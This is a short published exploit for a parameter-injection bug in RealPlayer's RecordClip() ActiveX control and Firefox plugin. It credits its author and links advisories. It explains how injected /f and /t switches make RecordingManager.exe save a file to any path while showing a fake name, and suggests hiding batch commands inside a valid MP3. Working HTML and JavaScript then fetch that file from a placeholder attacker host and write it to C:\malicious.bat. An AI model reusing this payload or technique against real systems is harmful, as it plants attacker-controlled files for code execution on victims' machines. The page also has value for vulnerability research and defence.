Sources: http://www.securityfocus.com/bid/44443/info |
http://packetstormsecurity.org/files/view/97522/recordingmanager-ie.txt |
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Written by Sean de Regge (seanderegge hotmail.com) |
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Exploit for the parameter injection bug in Realplayers RecordClip() activeX function and firefox plugin |
http://www.zerodayinitiative.com/advisories/ZDI-10-211/ |
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C:\Program Files\Real\RealPlayer\RecordingManager.exe has 2 interesting switches: |
/t will spoof the download of any file so you can make it look like it's downloading a normal mp3 file |
/f will make it download to any location on the disk instead of the realplayer downloads folder |
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Restrictions: |
The extension on server side must be a valid media file (ie: .mp3) |
Realplayer does some checks on the file to see if it is a valid media file too, so we need to create a |
chimera file, which will parse as a valid mp3 file and a valid batch file. |
Best is to take a valid mp3 file and modify it in a hex editor to have your batch commands in the first couple of bytes. |
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<OBJECT ID="obj" WIDTH=0 HEIGHT=0 CLASSID="CLSID:FDC7A535-4070-4B92-A0EA-D9994BCC0DC5"> |
</OBJECT> |
<embed type="audio/x-pn-realaudio-plugin" |
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controls="ImageWindow" |
console="video1" |
src='http://xx.xx.xx.xx/batch_file_in_mp3.mp3" /f C:\\malicious.bat /t cool_song.mp3' |
width="240" |
height="180" |
autostart=true> |
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</embed> |
<script> |
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var file = 'http://xx.xx.xx.xx/batch_file_in_mp3.mp3" /f C:\\malicious.bat /t cool_song.mp3'; |
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obj.RecordClip(file, "audio/mpeg3", "clipInfo"); |
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</script> |
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